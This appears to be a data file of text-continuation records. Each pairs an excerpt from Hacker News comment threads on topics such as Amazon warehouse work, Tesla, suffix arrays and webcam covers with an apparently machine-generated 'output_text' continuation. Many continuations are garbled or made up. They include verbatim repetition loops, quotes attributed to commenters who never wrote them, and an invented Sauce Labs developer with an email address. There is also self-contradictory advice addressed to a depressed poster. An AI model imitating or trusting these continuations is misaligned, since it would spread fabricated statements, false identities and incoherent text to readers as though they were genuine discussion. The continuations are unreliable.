orientations.\nI have worked with people who are deaf, who are mute, who are born with\ndisabilities. I have worked with people who are", "input_text": " which a worker had died on\nthe job and her co-workers were told to carry on working in the presence of\nher corpse._\n\nNo, they didn't. This was about a different company.\n\n------\ndvfjsdhgfv\n> Apart from employing a lot of staff, Amazon does a number of things\n> progressives ought to like. For instance, it employs a very diverse group of\n> people. On my shift, I work with African-Americans, Asian-Americans,\n> Hispanic-Americans, white people, gay people, deaf people, ex-convicts, and\n> people whose ethnicities and even genders are a mystery to me.\n\nThis is a warehouse job with a medium low salary. If the author worked as a\nprogrammer and could still repeat the above, that would really be commendable.\n\n~~~\nDrScump\n\n If the author worked as a programmer and could still repeat the above\n \n\nAs a programmer for a \"stodgy\" defense contractor, the programmers in my group\nalone included our Chinese-born female project leader, a Hong Kong-born\nfemale, a deaf male (and new parent), an African-American female, a Cuban-born\nmale, an Iranian-born male, a Kuwaiti-born female, an ethnic Chinese SF-born\nfemale, and me.\n\nAnd we were _awesome_.\n\n~~~\ndvfjsdhgfv\n> And we were awesome.\n\nThat's excellent and I envy you, it must be a great team to work with and even\nhang out after work. But how is this related to Amazon?\n\n~~~\nDrScump\nIt addressed the parent comment that implied that programming organizations\nare inherently not diverse.\n\nToo many are not, but it's"} +{"output_text": " anyone expected.\n\n~~~\njoe_the_user\nIt's not clear to me that the production line is the product.\n\nIt's true that Tesla's business model is predicated on producing a premium\nproduct at a low price. But it's not clear to me that the production line is\nthe product.\n\nIt's true that the production of a car is a complex undertaking. But it's not\nclear to me that the production of a car is the product", "input_text": " on Tesla becoming the next Porsche as far as volume and market.\nThat's not a bad place to be, but it's not where the market has priced them\nat.\n\n~~~\ngfodor\nYeah that's why I said it's personal. I feel the design of the car is\nextremely forward looking and was primarily driven by good taste not cost\nconstraints. I hate to keep making the comparisons but it reminds me of Apple\nripping out all but essential components -- easy to see through the lens of\ncosts in the short term but in the long term provides freedom to take the\ndesign further in the next iteration. The 3 represents a foundational design\nthat transitions elegantly to autonomous control (imho) and will provide the\nvantage point Tesla needs to design their first from-the-ground up autocar.\n\n~~~\nBoorishBears\nThe problem for me is it feels like the market (and Tesla to an extent) has\njumped the gun.\n\nTesla hasn't demonstrated enough self-driving progress (and imo, no one has\nyet) to justify the car's design to me, nor being a company with a 54 billion\ndollar market cap.\n\nIt's one thing if FSD was just on the horizon, but there are an incredible\nnumber of very hard problems to solve before we get there. Yet Tesla is\ndesigning a car that requires FSD for justification of it's interior and\ncharging for FSD as a feature.\n\n------\nsunstone\nIn the run up to model 3 production Musk mentioned that \"the production line\nis the product\" because it was needed to be highly automated to make a great\ncar at a low price.\n\nClearly getting the production line wrinkles ironed out has been a much bigger\nchallenge than"} +{"output_text": " of things you can do.\n\n2\\. Stop watching TV, social media, HN. I can't stress this enough. It's\neasier, but it takes time.\n\n3\\. Stop thinking about the past. Don't look at old photos, don't think about\nthe good times. Don't think about the good times, you can think about the\nfuture.\n\n4\\. Stop thinking about the future. Don't think about the next thing you want\nto", "input_text": " I could quit my startup, tell my partner and\nemployees to go fuck themselves. The good days, are good, I guess I can\nappreciate them more after this, they got some extra flavour. I can be a nice\nperson to work, or live with.\n\nIt's hard to talk. Even when I am able to tell someone \"this day sucks\" or \"I\nam heavily depressed\", I can't tell why, I don't know. Some people are really\nuncomfortable when you almost cry for no reason in front them. I don't really\nblame them, or their poor comments, they try, some are afraid that's ok.\n\n\"That's ok\", that's valid thing from them and for me. It's a good mantra. We\nusually slam more shit over the shit, and we bang our heads against the wall\n\"Why am I like that?\"... Leave it be! you are already feeling like shit, let\nyourself some air.\n\nAnd I guess you wrote this post in a \"down\". The few words that helped for me\nwere \"that's ok\" because all the rest seemed impossible.\n\nI have been very bad for months, there were one or two days in the week where\nit was bearable / I was feeling good. Just hiding it from coworkers was a\nchallenge, working from home helped to hide it, but not to get better.\n\nThere are a few things I can recommend because that worked for me, but it's\neasier to work on them on the good days.\n\n1\\. Stop blaming yourself. Really, you are ok, but I will extend on that\nlater. When you feel not able to do anything, just don't do anything. You will\nsurvive. You feel time craving, do a list"} +{"output_text": "-range Dell laptops had removable batteries and\nperipherals. I had a few of those. I remember the battery popping off and\nfalling on the floor. It was always a pain to remove the battery.\n\n~~~\npeterjlee\nThat's why I said \"until companies started to follow Apple down the current\npath.\" I had a few old Dell laptops and they were modular.\n\n------\nAnimats\nThat's a lot of plastic. That's a", "input_text": "google-smartphone-idUKKCN11806C\n======\nxenadu02\nAnyone paying the slightest bit of attention knew this was the ultimate result\non the very day they announced it.\n\nTo make something modular you need to wrap each piece in its own case, add\nbulky connectors, etc. Both weight and volume are at an extreme premium in\nmobile devices. All that metal/plastic going in to making the pieces modular\nis stealing volume and weight from the battery.\n\nThe only realistic way to make the power envelope is to use an SoC, which\nmeans the CPU, GPU, and RAM must all be in the same module. That doesn't leave\na lot worth upgrading... maybe just the radio module. Jumping up in screen\nresolution would mean replacing the SoC to get a better GPU too.\n\nModularity worked in desktop PCs because they have gobs of space and an AC\npower connection.\n\n~~~\npeterjlee\nFirst thing that came into mind when I heard about project Ara was that,\nlaptops aren't modular because the increased size and weight will out weigh\nthe benefits. Seemed like the same situation applies to smartphones, only\nworse.\n\n~~~\nfnord123\nThey used to be modular until companies started to follow Apple down the\ncurrent path. I had a Dell Inspiron with removable battery, removable DVD\ndrive, and PCMCIA slot for modular functionality.\n\nNow we have come somewhat full circle with Apple's Macbook which has meagre\nhardware functionality and relies on USB-C to provide the missing\nfunctionality in a modular fashion. However it means a nest of cables so it's\nprobably not what anyone wants when they want a modular laptop.\n\n~~~\ndjsumdog\nI remember the old mid"} +{"output_text": "craft/a3176/nasa...](http://www.popularmechanics.com/science/aircraft/a3176/nasa-\nretreat-for-mr-g-recovery-to-the-shuttle-safely/))\n\n2) why is this article getting so many up votes? I'm sure it's interesting,\nbut I don't think it's that interesting.\n\n~~~\nsethg\nI think it", "input_text": " to create the exact misconceptions\nyou are spreading.\n\nI don't think you looked at a single one of the links I posted. You are very\ncaught up in what Zubrin says, but you are not looking at what anyone else\nsays. So how do you know he's right, and they are wrong?\n\n------\nLocke1689\nFrom what I hear, it seems like reprieving the shuttle isn't really an option.\nIt's so out of date and unsafe that NASA isn't willing to use it anymore.\n\nSure there are problems with Ares, but isn't that what engineers are for?\n\n~~~\nrbanffy\nIt's fine, as long as you let them design the system.\n\nThe shuttle, as it is, came out of an engineer's drawing board, but not before\naddressing the wishes of a lot of politicians.\n\nI am all in for Ares, as long as engineers are in control. It seems they are\nnot.\n\n------\nedw519\nSounds like Obama needs to pull a \"Kennedy\" and define the goal. Amazing what\nsmart people can do with a little vision.\n\n~~~\nsketerpot\nIt helps to have funding that won't be cut off in two years by a mercurial\ncongress.\n\n~~~\nDanielBMarkham\nYes.\n\nPoliticians have a lot of vision, but little commitment.\n\nWe would have not went to the moon in the 1960s without the cold war.\n\n------\nTriinT\nTwo questions:\n\n1) why isn't the URL linking to the article on Popular Mechanics? (which is a\nlot better than this article)\n\n[http://www.popularmechanics.com/science/air"} +{"output_text": "angladeshi government who didn\u2019t do their jobs properly.\n\n~~~\nyummyfajitas\nThe British did lots of bad things in the subcontinent, but they were far\nbetter than the Americans. The Americans were worse than the British, but not\nthat much worse.\n\n~~~\nrayiner\nThe Americans were worse than the British, but not that much worse. The\nBritish had a quarter of the military manpower of the US. The British", "input_text": " of \u2018west\u2019 you are using include the US?\n\nIn case it is relevant, I am from New Zealand and think the disgusting\nbehaviour in the region started long before the US got involved and includes\nfar more countries than any set defined as \u2018western\u2019. Even places as far away\nand as small as New Zealand have ended up with a record of massacres and\nmurders when in involved in the region.\n\n~~~\nrayiner\nI\u2019m saying Americans blame the west, not necessarily that Americans blame\nAmerica. America had very little to do in the subcontinent, for example.\n\nAs to it being patronizing. Speaking for myself\u2014I think if you can\u2019t blame\npeople for the state of their own country, you\u2019re taking agency away from\nthose people. The British did lots of bad things in the subcontinent and\nlooted it. (They also left some really good values and ideas and\ninstitutions.) But that ended 70 years ago. In that same time period, South\nKorea went from being nearly as poor, and far more war torn, to being a\ndeveloped nation. It\u2019s not the absence of interference from the west that did\nthat, it\u2019s the industry and virtue of the Korean people. Likewise, to the\nextent Bangladesh hasn\u2019t grown as fast as it should (and to be fair, things\nhave gotten better at least on the economic side in the last decade), who is\nto blame? I think it\u2019s patronizing to continue to blame the west. Maybe blame\nthe fact that Bangladeshis supported a military dictator for President,\nsupported dismantling secularism, invited fundamentalism in from the Middle\nEast, etc. Whose fault is it? Maybe it\u2019s the fault of the clerks in the\nB"} +{"output_text": "ah-wah, Millennials are entitled and don't want to do 70 hours per week of\nour grunt work, and they leave before they burn out and we can fire them._\n\nI think you're confusing entitlement with rationality. Entitlement is the\nbelief that you are entitled to do whatever you want, without any\nresponsibilities. Rationality is the belief that you should do what you can to\nachieve your goals, and then decide if you want", "input_text": "ify it from being a \"good job\".\n\nFollow up needs to be \"Why Good People Stay at Bad Jobs\".\n\n~~~\nmisiti3780\nagree\n\n------\nmichaelochurch\nOP is a wanker. Wah-wah, Millennials are entitled and don't want to do 70\nhours per week of our grunt work, and they leave before they burn out and we\ncan fire them.\n\nPeople should leave jobs as soon as they realize they aren't going to learn or\ngrow where they are. This can happen after 8 years, or 3 months. Companies\ndon't promise to employ people for 3 years regardless of whether they are any\ngood, so why should an employee be expected to pay dues in a job that's\nobviously not going to lead anywhere?\n\nThe \"job hopper\" stigma is perpetuated by people who only want the side of \"at\nwill\" that benefits them.\n\nI will say that most 22-year-olds need to be better at figuring out when a job\nis worth leaving, because I've seen error on both sides. Everyone gets grunt\nwork when they start out, but there are chef's apprentices (who still get\ngrunt work, but are being primed for something better) and there are\ndishwashers, and it's important to figure out, in an entry-level job, which of\nthese you are. That's a separate matter altogether. I've known a few job\nhoppers and they're not all people with bad judgment.\n\nThat said, people should generally go into jobs with the intention and hope of\nbeing there for at least 2 years, but I think that goes without saying.\n\n~~~\nachompas\nHey Mike! Hope you're doing well.\n\n _W"} +{"output_text": " are for viewing the flight deck, not augmenting the\nworkforce.\n\n~~~\njessriedel\nI'm not sure what you mean by \"augmenting the workforce\". I'm talking about\naugmenting the work force in the sense that the worker is not doing a task\ndirectly related to the task at hand. In this case, augmenting the work force\nis augmenting the worker's ability to look at a video of a paper instruction\nwhile they", "input_text": ", and it also prevents positive outcomes. People chronically lie to their\ndoctors about their actual lifestyle behavior and then are surprised that the\nDr. didn't catch all the warning signs for some disease.\n\nMore data = better outcomes.\n\n~~~\ngnaritas\nCameras won't add more data as they'll simply discourage people from admitting\nanything or even going to a doctor. I would not allow my doctor to film me,\nnor would I imagine most sensible and normal people who have an ordinary sense\nof privacy. Your doctor works for you, not the other way around, you decide\nwhat is acceptable behavior, not them.\n\n------\njessriedel\n> The mechanics moved carefully, putting down tools and climbing up and down\n> ladders to consult paper instructions in between steps... Fast forward to\n> today, and GE\u2019s mechanics now use Glass running software from our partner\n> Upskill, which shows them instructions with videos, animations and images\n> right in their line of sight so they don\u2019t have to stop work to check their\n> binders or computer to know what to do next.\n\nThe article makes it sound like Google glass is the first to do anything like\nthis, and it was all paper manuals before that. In fact, aircraft\nmanufacturers have been using smart glasses for years to augment workers.\n\n[http://www.engineering.com/AdvancedManufacturing/ArticleID/1...](http://www.engineering.com/AdvancedManufacturing/ArticleID/14634/Airbus-\nUses-Smart-Glasses-to-Improve-Manufacturing-Efficiency.aspx)\n\nMaybe Glass is a significant improvement, but it's not unprecedented.\n\n~~~\nTHE_PUN_STOPS\nSmart glasses in aviation"} +{"output_text": "www.youtube.com/watch?v=rz51_wFgNrQ)\n\nHe also posted a win against Hikaru Nakamura:\n\n[https://www.youtube.com/watch?v=9zlw9-_kz8Y](https://www.youtube.com/watch?v=9zlw9-_kz8Y)\n\n------\njokoon\nI'm not sure if it's", "input_text": "\n\nSo chess engines CAN be ported to a GPU. From here on out, its a matter of\nexperimenting with various methodologies to see what creates the most powerful\nchess player.\n\n\\--------\n\nI'm going to have to go through the MCTS part later. Its clearly some kind of\nparallel implementation that batches up nodes for MCTS evaluation.\n\nThe GPU probably can run some of the MCTS stuff faster than the CPU (ex: the\nUCT evaluation probably should be on the GPU: which could be done relatively\neasily by passing play-statistics to the GPU kernel. GPUs are very fast at\nsquare-roots and stuff, and you're already spinning up a GPU thread for the\nwhole random-rollout thing, might as well evaluate the UCT value while you're\nstill in GPU land. I think anyway)\n\nBut yeah, I haven't fully understood how you're doing the MCTS stuff yet. Its\ndefinitely interesting code though.\n\n\\----------\n\nEDIT: I'd personally want to figure out how to get the MCTS search into the\nGPU somehow. But doing the rollouts on the GPU is the \"obvious\" first step (at\na minimum, you need to have a chess engine in the GPU before any further steps\nare possible), and its cool that you found a practical use of the random-play\nengine with the classic MCTS algorithm.\n\n------\nmrob\nFIDE Candidate Master Kingscrusher (Tryfon Gavriel) has been posting analysis\nvideos for some of these games on Youtube. LC0's win as black against the\nTrompowsky Attack was particularly impressive:\n\n[https://www.youtube.com/watch?v=rz51_wFgNrQ](https://"} +{"output_text": "\n\n------\njames_s_tayler\nI like the idea, but I'd prefer it if the plane flew itself.\n\n~~~\njames_s_tayler\nI mean, it's a game, not a plane.\n\n------\njames_s_tayler\nLooks cool!\n\n \nThe Most Expensive Single Item in the White House - Anon84\nhttp://www.nytimes.com/2009/05", "input_text": " naming. I imagine we will want an airport code\nstaring with YC, so it'll have to be in Canada :P\n\n------\nroryisok\nNot funny but sort of relevant. Here in Ireland we just had an air disaster -\nan air sea rescue helicopter crashed into an island off the west coast and all\naboard were killed. The accident investigation has determined that the island\nwas not registered on the aircraft's mapping system.\n\n~~~\nhermitdev\nThis is why every air craft comes equipped with a set of MKII eyeballs. Not\ntrying to make light of it, or anything, but this is a prime example of why\ngood vision is a requirement of any pilot. Not familiar with this incident or\nwhether it was night-time or during inclement weather.\n\nRegardless of the circumstance, my apologies & condolences to the friends &\nfamily of the crew and any passengers. From your short description, this seems\nlike an easily avoided accident and I hope actions are being taken to prevent\na recurrence.\n\n~~~\nroryisok\nAccording to the recovered black box recordings, one of the crew did see the\nisland, but not soon enough.\n\nProbably the most shocking part is that there was a lighthouse on this island,\nwhich was operational at the time. This is shocking both because it should\nhave been blindingly obvious to the pilot and crew that they were flying\ntoward a lighthouse, and also that an island significant enough to have a\nlighthouse on it would not be on a digital mapping system. It's on Google maps\n- [https://goo.gl/maps/Xdt7rzUErX42](https://goo.gl/maps/Xdt7rzUErX42), even\nhas photos and information."} +{"output_text": "\nterm memory means you can't reason, plan, or think.\n\nMaybe it's the ability to learn, adapt, and grow.\n\n~~~\nhyperpallium\nI mean \"amplify\" in the sense of \"make more powerful\".\n\n------\njokoon\nI think the idea of intelligence is too simple. I think that the brain is\nwired in a way that makes it hard to understand what it does.\n\nI think that the idea", "input_text": "68k\nNothing is more high-tech than culture, it's _everything_ even if we tend to\nwork over the seemingly faceless Internet these days - it's people all the way\ndown.\n\n------\nmaxander\nThe idea of \"notation as intelligence augmentation\" is the reason (or one of\nthem) that Haskell programmers are so enthusiastic about things like functors\nand monads; type theory is its own branch of mathematics that could be\nappended in the list of things like calculus and vector analysis [1], and\nmight bring in the same kind of new levels of thought and abstraction.\n\n[1] Disclaimer; I am not a mathematician.\n\n------\nMaysonL\nWhen considering intelligence amplification, the book that comes to mind is\n_Psychohistorical Crisis_, by Donald Kingsbury. Computer-to-brain interfaces\nmay go a long way in the next few thousand years.\n\n[https://en.wikipedia.org/wiki/Psychohistorical_Crisis](https://en.wikipedia.org/wiki/Psychohistorical_Crisis)\n\n~~~\narethuza\nAlso Vernon Vinge's _Rainbows End_ which has both IA and AI in a fairly\nplausible near future scenario:\n\n[https://en.wikipedia.org/wiki/Rainbows_End](https://en.wikipedia.org/wiki/Rainbows_End)\n\n------\nhyperpallium\noblig. [https://xkcd.com/903/](https://xkcd.com/903/)\n\nWe already have amplified memory (see also: books, mnemonics). and google\namplifies _retrieval_.\n\nBut what is \"intelligence\", that we might amplify it? For me, limited short-"} +{"output_text": " file from the index, and that it would be faster than the naive\napproach of just searching the index.\n\n------\njancsika\n> The suffix array is a data structure that can be used to efficiently search\n> for all occurrences of a string in a text file.\n\nIs this true? I thought it was the case for the specific string \"sds\".\n\nI'm not a regular programmer, so I don't know much about data structures.\n", "input_text": "/xxsds/sdsl-lite) (currently unstable!)\n\n------\nvisarga\nI used to play with suffix arrays a long time ago. I wanted to accelerate grep\non a gigabyte text file. The tool was called \"sary\" (short for suffix array)\nand still exists on a forgotten SourceForce page. Good tool, it was able to\nfind any substring in a huge file instantly.\n\n~~~\ntmzt\nHow might your method compare to the tech in ripgrep or The Silver Searcher?\nAre there cases where it might be faster?\n\n~~~\nnialo\nThey solve different problems. In particular, ripgrep and friends are designed\nto search arbitrary and potentially large directories with no pre-computation.\nThey run in time ~linear in the size of the files to be searched.\n\nThe paper under discussion here is about a new way to create an index that\nalso takes time ~linear in the size of the files to be searched, although\npresumably with a higher constant factor than just searching those files.\nAfter you have the index it's possible to search it in time linear in the\nlength of the query rather than the files. This is much faster, but requires\nstoring an index that is at least as large as the original file set, and\nkeeping it up to date as things are changed etc.\n\n~~~\nnightcracker\nCan you retrieve the original file from the index? If yes it's maybe\ninteresting to store files like that for some databases by default and\nretrieve the original file only when needed.\n\n~~~\nnialo\nI haven't read this paper, and haven't worked with the compressed variety of\nsuffix trees/arrays. That said, I'm confident it's possible to retrieve the\noriginal"} +{"output_text": "\n\n------\njancsika\n> The Emacs of its day\n\nI think this is a really bad comparison.\n\nThe Emacs of its day was not _just_ an editor. It was a platform on which to\nbuild your entire operating system.\n\n~~~\nrhabarba\nI think it's a good comparison. The editor is the operating system. The\nEmacs/TSE of its day was not just an editor, it was a", "input_text": " than (e.g.) TSE. Don\u2019t misunderstand me, I\nsurely like Emacs and I use it regularly, but the command-line version is a\nstrange thing in a DOS environment.\n\n------\nlsllc\nThe TSE/QEDIT and FTE TUI's look like they were made with Borland's Turbo\nVision framework [0].\n\nOh man, so much retro-computing these days on HN, I love it!\n\n[0]\n[https://en.wikipedia.org/wiki/Turbo_Vision](https://en.wikipedia.org/wiki/Turbo_Vision)\n\n------\ncraz8\nMicrosoft did release a nice editor called M back around the end of the 80s\n\nHere\u2019s some info about it, and maybe a way to get something that works today\n\n[http://www.os2museum.com/wp/microsoft-\neditor/](http://www.os2museum.com/wp/microsoft-editor/)\n\n~~~\nLocalH\nThat guest post was by the same author as the linked post. In fact, the linked\npost is also present in your link, linked in the first sentence.\n\n------\nkarmakaze\nThere was this awesome editor called Kedit that I used on OS/2 and Win NT. I\nthink there were text and GUI versions, but not free.\n\nEdit: search turns up a free/shareware GUI version, no mention of the\n'classic' text-mode one\n\n~~~\nrhabarba\nKEDIT, the XEDIT clone? There is a free version of that, The Hessling Editor.\n\n~~~\nkarmakaze\nYes. I's forgotten its xedit roots."} +{"output_text": " on them.\n\nother than that, I got most of them from here:\n\n\n------\njongleberry\nI'm not sure I would call this a side project. It's more like a full time job.\n\n~~~\njasonlotito\nIt's a side project for him. For me, it's my full time job.\n\n~~~\nj", "input_text": " to send many pictures\nto a group of friends in one go.\"\n\nIsn't that email?\n\n~~~\njazzychad\nyes, it is. however, accomplishing this with email on iphone is extremely\ntedious (many steps) and error-prone.\n\n~~~\nhnriot\nNot in my experience, camera roll, select photos, share, email, auto-complete\nfriends email address's, send\n\nThis isn't in any way tedious or error prone.\n\n------\nkyle_wm\n\"I wanted to improve my life skills in some other fashion than programming...\nI needed a way to train myself since there are many rules to learn. So, what\ndo I do? I break my rule of no more programming and write my own training\nsoftware.\"\n\nThings like this confirm for me that I am in the right profession :)\n\n------\nmroth\nnice list! I also did a similar post, and since people seem to be posting\ntheirs here, here's mine: [http://blog.mroth.info/blog/2012/11/11/the-year-in-\nside-proj...](http://blog.mroth.info/blog/2012/11/11/the-year-in-side-\nprojects/)\n\n~~~\nbrador\nI'm loving this stuff! It says you went on a domain buying spree after the\nemoji find. Can I ask what Other domains you got? Is there something special\nabout the.ws or does it work on.com too?\n\n~~~\nmroth\nfor.ws, as far as I can tell, most TLDs don't allow \"fun\" things such as\nemoji, and the software most registrars use also sometimes barfs"} +{"output_text": "\n\n\\+ Free plan is enough for most cases\n\n~~~\njoshstrange\nThanks! I hadn't heard of browserling before. I will definitely check them\nout.\n\n------\njoshstrange\nI'm the developer of Sauce Labs. If you have any questions or comments I'd be\nhappy to answer them. josh@saucelabs.com\n\n~~~\njamesgagan\nHi, this is Gagan from Sauce Labs. I", "input_text": "1], they recommend to put the service on a\ndedicated machine on your intranet that you can zone off so it only has access\nto the parts of the network you want to allow.\n\nSeems like a decent solution to allow a running a cloud service behind a\nfirewall.\n\n[1] \n\n~~~\nhighwind\nStill. I feel like the price is way too much. The recommended plan is\n$149/month. For the long run, buying a decent machine and running your own\nvirtual machines would be cheaper.\n\nSomeone prove me wrong.\n\n~~~\nawilson820\nWhat you're seeing is actually pricing for our automated testing service.\nSauce for Mac is either free (30 mins of testing/mo) or $12/mo (for unlimited\nminutes against all browsers). It also comes included with all the testing\nplans on that page.\n\n~~~\njoshstrange\nWhoa, this is news to me, I checked out sauce a month or so ago and came to\nthe same conclusion as highwind. $12/mo is something that I would be more\ninterested in. You should make that way more obvious. I haven't fully\nharnessed the power of TDD and it isn't used at my current job so I have no\nuse for it. On the other hand the ability to test websites on different\nbrowsers is very important to my job and for $12/mo it's something I can\nafford to get for myself to use for work and personal projects.\n\n------\njakozaur\nGood concept, but prefer one of their competitors: \n\n\\+ Web based\n\n\\+ No account needed to try it"} +{"output_text": "of higher education, and should be treated as a second-class citizen in\ncomparison to other institutions.\n\n~~~\nanamax\n> I think the Internet should allow an expansion of the role of online courses\n> and community college, both highly compatible with work-study.\n\nThat's not what's happening. The cost of education is still high, and the\nquality of education is still low.\n\nThe problem is that the cost of education is so high that it", "input_text": " and getting enough sleep. Lots of people work while going to school\nand end up dropping out or going every other semester because they don't make\nenough in their low-paying unskilled labor job. This is a vicious cycle which\nresults in the poor staying poor because they can't make enough at the job\nthey must have in order to pay for education.\n\nChildren from wealthier families can afford to funnel a bit of money towards\ntheir education, and maybe only work part-time for some spending money. Don't\nget me wrong - highly educated people are great for a society and this\nshouldn't be discouraged, but I also think we have a duty to help those living\nharder lives than our own.\n\n~~~\nrdl\nI agree most education should be free -- just not that 4-year residential\ninstitutions (particularly mediocre ones) should be subsidized. The purpose of\npartial payment by the user for a service like community college is to\ndiscourage waste; something on the order of $100-200 per class would be\nadequate for that. It would be payment by the student, not by his family.\n\nThe community college model is that you can work while attending. I don't\nthink it is unreasonable to expect someone to do so -- working full time while\nattending a 4 year university is probably not viable (I tried doing it, and\nultimately dropped out), but I think the Internet should allow an expansion of\nthe role of online courses and community college, both highly compatible with\nwork-study.\n\nI would go so far as to eliminate non-merit scholarships and financial aid\n(subsidized loans, etc.) for 4 year institutions (except for things like the\nGI Bill which are a form of compensation). They should not be the mainstream\n"} +{"output_text": "\nexploration, the other half through a more structured approach.\n\nI've been reading your post, and it seems that you've already taken the\napproach of \"ship it\". I'm curious to know how that's going, and if you've\nencountered any roadblocks.\n\n------\njoeevans1000\nI've been in your situation for a while now. I've been building a product for\nmyself for the past 3 years. I've", "input_text": " 10% its price point\u2014it will give you\nconfidence and will validate that your product is valuable.\n\nAs for the feature creep, I think it will happen always, as each customer has\nits own view on your product, and since you're the one making it, they will\ntell you things, some are good ideas, but most of them are not very good,\nsince most don't know what they want. You'll have to find balance.\n\nThe thing that helped me a lot is being in a big city. I'm from a way smaller\nplace and I've been building stuff for 15+ years, and the big city mindset is\nway more open than the small city's, as they will use anything, but only once\nit has been proved.\n\nI hope those pieces of advice help you in your journey. If you want to talk a\nlittle bit more, my email is in my bio.\n\n------\ngenbit\nIf you now someone who can/want also use your product, ship early versions to\nthem. Even screenshots. If not, try to find these users, and ship to them :)\n\nI think, early fear of shipping is a symptom of uncertainty \"will someone need\nthis product?\" You should try to find this someone as soon as possible, and\nget feedback from them.\n\n------\nmcmatterson\nI'm facing the same dilemma with a hardware project of mine ([http://tooner-\ntest.moshozen.com](http://tooner-test.moshozen.com)). In the past month alone,\nI've been stuck on several things (public name, dealing with constant ID\ncreep, finding a mill that can resaw, among others). Though they're\ncontradictory, it seems that half of the roadblocks get solved through"} +{"output_text": " loss, the result is not motivation but\nwishful thinking.\n\n~~~\nelnado\nI think you're right, but I think that's the point of the app. It's not about\nfinancial gain, it's about social interaction. And it's a good way to meet\npeople.\n\n------\nbrianberns\nI'm in a similar situation, except that I'm not a programmer. I have a\nbackground in business and marketing, but I", "input_text": " general, it's probably a better idea to strengthen one's foundation as they\nserve as the prerequisites for more advanced subjects. Google's guide to\ntechnical development [0] is a good place to start.\n\nAs far as just finding courses to take, you could just search the course\ncatalogs of sites like Coursera, edx, Udacity, and Stanford's online offerings\n[1].\n\n[0] [https://www.google.com/about/careers/students/guide-to-\ntechn...](https://www.google.com/about/careers/students/guide-to-technical-\ndevelopment.html)\n\n[1]\n[https://lagunita.stanford.edu/courses](https://lagunita.stanford.edu/courses)\n\n------\nelnado\nUgh, regardless of what we say we wish to do on this post, what I'm sure many\nof us lack is external motivation to do it. One app to help solve that is\ncalled Spar, developed by a friend of a friend\n([https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id...](https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id1109640290)). You set a goal with your friends, e.g. read a chapter\nevery day, and put 20$ or so in the \"pot\". Whoever does the best at meeting\nthe goal, gets the pot, and if you slack on your goal you lose the money.\n\n~~~\nbrendoncrawford\nWhen the incentive to finish a goal shifts from the innate satisfaction of\ncompletion to a fear of financial"} +{"output_text": " I am\nproductive when I am alone.\n\nBut I am not. I need a team to be productive.\n\n------\nkuharich\nI've been working from home for the past few years. I have a large, beautiful\nart gallery in my house, and I spend most of my time there.\n\nI have a large monitor, so I can see everything. I have a standing desk, so I\ncan walk around. I have plants, so I", "input_text": " before I could tell myself \"job\ndone.\" I wasn't going to get much done on that sort of day anyway but at least\nI didnt beat my self up about it.\n\nThat last point is where understanding yourself and acceptance really starts\nto play a role.\n\n~~~\nrqm\nThank you for that one neat trick.\n\n------\nhungerstrike\nAre you working by yourself most of the time? I forget where I read it, but I\nthink it was Joel Spolsky that said \u201cDon\u2019t be a guy in a room\u201d because even if\nyou can do whole projects by yourself, it gets boring and feels unfulfilling\ncompared to working on a team.\n\n~~~\najeet_dhaliwal\nThe exact opposite is true for me most of the time. The open office ruins it,\nworking on my own or limiting contact is productive.\n\n~~~\nbluehatbrit\nSpolsky has always been an advocate of private offices, I don't think this\nquote is intended to be literal. I think it more means being the only one\nworking on a project can suck after a long time, especially if you've got\nideas you want to bounce of people and can't.\n\n------\nxstartup\nYou work alone right?\n\nI am hyperproductive when I work in a team because I want to show people who\nstuff is done within deadline with minimum efforts.\n\nBut when I work alone, I lose all motivation. I achieve much less. Even after\nstarting 5 companies.\n\n~~~\nci5er\nPeople are funny. I am the complete opposite. (Not that I don't get lonely\nworking alone)\n\n~~~\nxstartup\nHey! I am an introvert and love staying alone. I like to think that"} +{"output_text": " of Gandhi and the British.\n\n------\nm3kw9\nI\u2019m curious if the UK will ever have a non-white person on their currency again\n\n~~~\npjc50\n[https://www.theguardian.com/uk-news/2016/apr/04/royal-\nfamily...](https://www.theguardian.com/uk-news/2016/apr/04/royal-family-\nbank-b", "input_text": ". I'm not even sure\nGandhi would have _wanted_ to appear on British currency, at least not after\nthe early period in his life when he unsuccessfully tried to earn the respect\nof the British by encouraging Indian Hindus to volunteer for British war\nefforts.\n\n~~~\npjc50\nYes, it's a very odd choice. The criterion that the person not be alive makes\nit a little tricky, but previous research has some good candidates:\n[https://www.bbc.co.uk/news/business-53547483](https://www.bbc.co.uk/news/business-53547483)\n\nNoor Inayat Khan already has a George Cross for war heroism, making her a nice\nconservative-friendly choice.\n\n~~~\nnotahacker\nOlaudah Equiano and Mary Seacole would be the classic nonwhite choices,\nespecially considering we've had William Wilberforce and Florence Nightingale\non banknotes for related achievements. I guess having Gandhi cancels out his\nlongstanding critic Churchill...\n\n------\nfnord123\n> the first non-white person on British currency\n\nSaint George featured on coins previously. He was from what is now modern day\nEastern Turkey which I think people who care about white/non-white might\nconsider non-white (I really don't know).\n\n~~~\nrgblambda\nSaint George was a Greek. Whether the Greeks are to be considered \"white\"\ndepends on whatever your definition of white is I suppose.\n\n------\nrandomly123\nDemocracy in India is a rare jewel in a large swathe of non-democratic states\nin Asia and around the world. That it exists at all, as a democracy, is due to\nthe immense efforts"} +{"output_text": " I was thinking.\n\n------\njheriko\n...and you'll get a lot more people trying to hack into your systems.\n\n~~~\njheriko\n...and you'll get a lot more people trying to hack into your systems.\n\n------\njheriko\n...and you'll get a lot more people trying to hack into your systems.\n\n------\njheriko\n...and you'll get a lot more people trying to hack", "input_text": "taking away your disk drive, etc. Most companies care more about aesthetics\nthan functionality at this point.\n\n~~~\nojii\ncan I have a laptop without a webcam/integrated mic then?\n\n~~~\nsoylentcola\nHow courageous of you!\n\n------\nawesomerobot\nAlso remove your microphone and don't use a keyboard? If I were hacking you\nI'd _much_ rather log your keystrokes or hear what you're saying.\n\nThe number of scenarios where having a visual would be useful would be\nincredibly low by comparison.\n\nPutting a sticker over your webcam is like putting a lock on a screen door.\n\n~~~\nmaxerickson\nMost screen doors I can think of do have locks.\n\nEven quite home made ones often end up with a hook that kids can't reach.\n\n~~~\nawesomerobot\nThat's my point. It does one thing, but it's by no means security.\n\n------\npiedradura\nI prefer to have a computer composed by parts, so I attach the webcam to the\ncomputer when I need to, same thing for the audio and many other applications.\n\nI only need 1k of ram to send a secret message, so no virus or malware could\nbe in my tiny computer.\n\n------\nzelos\nDidn't all Sun webcams used to have little irises that you could close on\nthem?\n\nIt seems like a sensible precaution: makes it less likely I'll accidentally\nlog into a company conference call in my dressing gown with my camera 